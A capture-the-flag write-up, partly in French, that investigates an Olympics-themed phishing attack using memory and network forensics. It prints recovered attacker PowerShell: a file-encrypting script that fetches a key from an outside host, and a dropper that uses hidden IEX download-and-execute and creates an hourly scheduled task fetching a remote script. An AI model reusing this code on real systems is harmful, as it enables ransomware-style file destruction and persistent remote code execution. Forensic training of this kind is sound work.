SHUTLOCK2024 - Enquête sur le phishing des JO - Retracer Lattaque 1 et 2
Enquête sur le phishing des JO - Retracer l’attaque 1
Mike O’Soft a été averti d’une campagne de phishing par le groupe THE HAMOR. Une des personnes ayant reçu le mail de phishing en question, s’est faite piegée.
Vous avez pour mission de mener l’enquête. Heureusement pour vous, les équipes du ministère ont réalisé un dump mémoire sur la machine. Dans la suite de votre enquête, un dump réseau vous sera confié.
Sauriez-vous retracer ce qu’il s’est passé sur ce poste ?
Pour résoudre ce challenge, vous devez répondre aux questions suivantes :
1 - Quel est le nom du raccourci malveillant ?
2 - Quel est le nom de la scheduled task créé ?
3 - Quel script est lancé par cette scheduled task ?
Format du flag SHLK{’nom-fichier’-‘scheduled task-‘script’}
Exemple 1 - File : ctf\shutlock.test
2 - scheduled task : ScheduleTaskName
3 - script : ThisIsTheScript.sh
SHLK{shutlock.test-ScheduleTaskName-ThisIsTheScript.sh}
SHA256(Phishing1.zip) = 3C6DA179B87FA2DC0ACB988466428679FD6AF0905F004A56E8A968A83009E16D : 2606053117 octets
SHA256(dump.raw) = 757D150394158D68F33D25A46EF45D6874FE046A40DA7E97C3C0D33DF21EB7E1 : 7121928192 octets
https://challenges.shutlock.fr/Phishing1.zip
After we unzip it, we can see a png
file, with some important details :
- Microsoft edge is the PDF Reader
- A potential malicious PDF is loaded
- A txt file is opened and says that we have been hacked

recon
First, start with the recon phase
strings
A ps1 script
strings dump.raw | grep -e ".ps1$" | uniq -u
In the output, we can see some file names that could be interesting
Content-Disposition: attachment; filename=Encrypt.ps1
Content-Disposition: attachment; filename=Enigma.ps1
http://172.21.195.17:5000/Holmes/Encrypt.ps1
/Holmes/Enigma.ps1
http://172.21.195.17:5000/Holmes/Enigma.ps1
Content-Disposition: attachment; filename=Enigma.ps1
With that, we can go further in our investigation. We know that the files have been encrypted. Let’s see Encrypt.ps1
Encrypt.ps1
strings dump.raw | grep "filename=Encrypt.ps1" -A 70
# Define the directories to search for files
$IP_addr = '172.21.195.17:5000'
$directories = @("$env:USERPROFILE")
# Define the file extensions to encrypt
$extensions = @(".png", ".doc", ".txt", ".zip")
$keyUrl = "http://$IP_addr/Holmes/key.txt"
# Download the key from the URL
$keyContent = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content
$keyContent = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($keyContent))
# Use SHA-256 hash function to produce a 32-byte key
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV
# Sauvegarder l'IV dans un fichier
$ivFilePath = "$env:USERPROFILE\Documents\.iv"
[System.IO.File]::WriteAllBytes($ivFilePath, $iv)
# Create a new RijndaelManaged object with the specified key
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
# Go through each directory
foreach ($dir in $directories) {
# Go through each file
Get-ChildItem -Path $dir -Recurse | ForEach-Object {
# Check the file extension
if ($extensions -contains $_.Extension) {
# Generate the new file name
$newName = $_.FullName -replace $_.Extension, ".shutlock"
# Read the file contents
$content = Get-Content $_.FullName -Raw
# Convert the content to bytes
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)
# Create a new encryptor
$encryptor = $rijndael.CreateEncryptor()
# Encrypt the content
$encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
# Write the encrypted content to a file
[System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
# Delete the original file
Remove-Item $_.FullName
}
}
We have now reconstructed the Encrypt.ps1
, but that’s not what we exactly want. We need to find the script that is run in the scheduled task
Scheduled task
We have others script names, let’s check on it :
strings dump.raw | grep -i "Enigma.ps1" -A 30
$IP_addr = '172.21.195.17:5000'
$urlFakeJob = "http://$IP_addr/Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf"
$urlTask = "http://$IP_addr/Holmes/GetFileInfo.ps1"
$fakePlaceOffer = 'Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf'
$TaskFile = 'GetFilesInfo.ps1'
#Get the lure pdf
Invoke-WebRequest -Uri $urlFakeJob -OutFile $fakePlaceOffer
# Open the PDF file with the default PDF viewer
Start-Process -FilePath $fakePlaceOffer
### Schedule task
$taskName = "IGotYourFileInfo"
# Create the scheduled task that get some file information
$cmd = "Invoke-WebRequest -Uri $urlTask -OutFile $TaskFile ; Start-Process -FilePath $TaskFile"
schtasks /create /tn $taskName /sc HOURLY /tr $cmd
#Encrypt some file
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c "& {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}"
## Change wallpaper
$webClient = New-Object System.Net.WebClient
$wallpaperUrl = "http://$IP_addr/Holmes/w
Now we see! We have our task name : IGotYourFileInfo
and the script that the scheduled task run : GetFilesInfo.ps1
filescan
The shortcut file in Windows is represented by a .lnk
file. Let’s check on it with volatility3
and the filescan plugin
/opt/volatility3/vol.py -f dump.raw windows.filescan > filescan.txt
cat filescan.txt | grep ".lnk"
We have two results :
0xa70451a45a80 \Users\clara\Downloads\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk 216
0xa7045384fe90 \Users\clara\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk 216
The good one is the pdf that was loaded in the web Browser
Conclusion
In a first time, our victim downloaded the Enigma.ps1
which downloaded GetFileInfo.ps1
and run it as a scheduled task.
Enigma.ps1
also executed Encrypt.ps1
after downloaded it and changed the wallpaper.
A notepad with a text message inside was opened to tell the victim they have been hacked.
The flag :
SHLK{Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk-IGotYourFileInfo-GetFilesInfo.ps1}
Enquête sur le phishing des JO - Retracer l’attaque 2
Bravo !
Vous voici dans la deuxième partie de votre enquête. Le dump réseau vous a été confié avec une partie de son système de fichiers.
L’utilisatrice à qui appartiennent ces informations, est une scientifique qui travaille sur le chiffrement du système d’information des JO.
Aidez-la à déchiffrer son système de fichiers.
SHA256(Phishing2-1.zip) = EDE0509D4779093EEBDA4B2483B943721F7B1F54801BFEFFF11E39B719D224BE : 202407885 octets SHA256(Capture.pcapng) = 6D1F223BCC377E1722F8DAE0FB9F2EE397878B87ACA53814D4628562CBF1B933 : 167172844 octets
recon
This is the following challenges, we already have some knowledge about it. Let’s check the Wireshark Capture
Wireshark
Properties

Paquets 115711
Hierarchy

What we notice :
TCP
HTTP
-> 294 packets
- JPEG file
- Data
Data
-> Interesting
UDP
DNS
-> 104 packets
HTTP

Weird things that reminds me of the first challenges :
GET /Holmes/Enigma.ps1 HTTP/1.1\r\n
GET /Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf HTTP/1.1\r\n

We have mutiples files :
- Enigma.ps1
- Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf
- key.txt
- wallpaper.jpg
Let’s check them
DNS

All good
Objects

That’s a pretty nice catch! let’s extract them in a Windows VM :p
Extracted Objects
key.txt

Base64 ? Maybe the key to decrypt the files

wallpaper.jpg

The same wallpaper as we’ve seen in the last challenge
Enigma.ps1

Encrypt.ps1

We already have those .ps1 scripts
PDF file

Just a regular file
FileSystem

So now we have seen all the files, we can see in the Downloads directory a file with an “SHUTLOCK” extension :
(Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.shutlock
)
Let’s try to understand the Encrypt.ps1 code
Encrypt.ps1 understanding
$IP_addr = '172.21.195.17:5000'
#takes only the user directory
$directories = @("$env:USERPROFILE")
# encrypt just the files with those extensions
$extensions = @(".png", ".doc", ".txt", ".zip")
# the key to decrypt and encrypt (using AES -- we'll see later)
$keyUrl = "http://$IP_addr/Holmes/key.txt"
# fetches the content of the key from the specified URL.
$keyContent64 = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content
# the content is then decoded from Base64 to get the actual key.
$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyContent64))
# SHA256 hash is created from the decoded key content to produce a 32-byte key.
$sha256 = [System.Security.Cryptography.SHA256]::Create()
# initialization Vector (IV) is generated using the RijndaelManaged class.
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV
# The IV is saved to a file for later use
$ivFilePath = "$env:USERPROFILE\Documents\iv"
[System.IO.File]::WriteAllBytes($ivFilePath, $iv)
# Setting Up the Rijndael Managed Object :
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
# The RijndaelManaged object is configured with the key, IV, CBC mode, and PKCS7 padding.
# Encrypting files :
foreach ($dir in $directories) {
Get-ChildItem -Path $dir -Recurse | ForEach-Object {
if ($extensions -contains $_.Extension) {
$newName = $_.FullName -replace $_.Extension, ".shutlock"
$contentBytes = [System.IO.File]::ReadAllBytes($_.FullName)
$encryptor = $rijndael.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
[System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
Remove-Item $_.FullName
}
}
}
# iterates over each directory and recursively finds files with the specified extensions
# Each file is read, encrypted, and saved with a new extension ".shutlock".
# The original file is then deleted.
The program only encrypts files that have “.png”, “.doc”, “.txt”, “.zip” Document folder.
What files have been encrypted

There’s a lot of encrypted files… but there’s also the IV file !!!
IV ?

A bunch of binary, that will suits
Decryptinnn
$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyBase64))
# Hash the key content using SHA-256
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
# Read the IV from the file
$iv = [System.IO.File]::ReadAllBytes($ivFilePath)
# Create the RijndaelManaged object with the specified key and IV
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
# Function to decrypt a file
function Decrypt-File {
param (
[string]$encryptedFilePath,
[string]$decryptedFilePath
)
# Read the encrypted file contents
$encryptedBytes = [System.IO.File]::ReadAllBytes($encryptedFilePath)
# Create a decryptor
$decryptor = $rijndael.CreateDecryptor()
# Decrypt the content
$decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length)
# Write the decrypted content to a file
[System.IO.File]::WriteAllBytes($decryptedFilePath, $decryptedBytes)
}
# Find and decrypt all ".shutlock" files
Get-ChildItem -Path $documentsDirectory -Recurse -Filter *.shutlock | ForEach-Object {
$encryptedFilePath = $_.FullName
$decryptedFilePath = $encryptedFilePath -replace ".shutlock", ".decrypted"
Write-Output "Decrypting file: $encryptedFilePath"
Decrypt-File -encryptedFilePath $encryptedFilePath -decryptedFilePath $decryptedFilePath
Write-Output "Decryption completed for file: $decryptedFilePath"
}
Okok but the file that i’m interessed is the importante_recherche.decrypted
which is a zip file ! But AES encrypted, so no plain-text attack.
file *
importante_recherche.decrypted.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
I also tried this in vain :
zip2john importante_recherche.decrypted.zip > hash.txt

Madness empowered me
From now, I didn’t know where to go. I tried so many things in order to recover the zip password. Here’s some of my adventure :

All these files are pretty weird. In the challenge, we’ve been said that our victim works on cryptography, so from now I imagined so many things, like :
Take all the weird char between File-
and .pdf
or .decrypted
in order recover some key, but nothing happened. I tried in base64, decoded, etc etc
Note that the .decrypted files have been encrypted so they were candidate with their initial extension
Autopsy
In Autopsy, we could see sooooooooooo many things, and the madness took the full control on me. Here’s a few artifacts that i found during my investigation
Clara was a malware analyst, isnt it ?

In Autopsy, we can see that there was a malware
folder, and many things linked to this directory such as FakeNet
which is a malware analyst software. We can see shortcut files etc…
We can see all the web research, sur as cryptology courses, random pdf search,



Many Bing research, I followed every single link in order to recover something
La Sorbonne cryptography course

issued by :

Here’s some of the web searches :
https://www3.weforum.org/docs/WEF_Getting_Started_Cryptocurrency_2021.pdf
https://www.bing.com/search?q=jo%20filetype.pdf&form=SWAUA2
https://thetestdata.com/generatedata.php
Strange files

The way that all the pdf files and the encrypted files have been generated

Here’s mine :

Some garbages that I found related to malware analysis


The word “malwareanalysis” and “deangilmor” were recurrents

Some flow diagram

Python installer ? The name was censored but I already know who’s behind

And from now I became totally crazy the madness fullfiled my mind.
Redemption
Here’s the saviour grep :
grep -Ril "importante recherche"
AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal
OMG that’s a file that I’ve seen in Autopsy, but i didn’t care at this time. This is a Sticky-note (Post-it in french). Let’s check if she didn’t wrote something in it

strings AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal | grep -i "importante recherche"
[...]
\id=1f0391ce-61cd-4649-af89-3814161c7556 pwd importante recherche: s3cr3t_r3ch3rch3_pwd_!ManagedPosi
[...]
OMG it might be our solution………
7z e importante_recherche.decrypted.zip
password: s3cr3t_r3ch3rch3_pwd_!
Files: 2
Size: 3847608
Compressed: 3838943
The pdf is not valuable :/
chiffrement.jpeg

I don’t want to do anything about steganography, I already suffered a lot solving this challenge so let’s try stegseek, which brute-force the password for steghide
wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb
sudo apt install ./stegseek_0.6-1.deb
stegseek chiffrement.jpeg
[i] Found passphrase: ""
[i] Original filename: "flag.txt".
[i] Extracting to "chiffrement.jpeg.out".
And there was no passphrase….
cat chiffrement.jpeg.out
SHLK{4uri3z-v0us_cl1qu3r}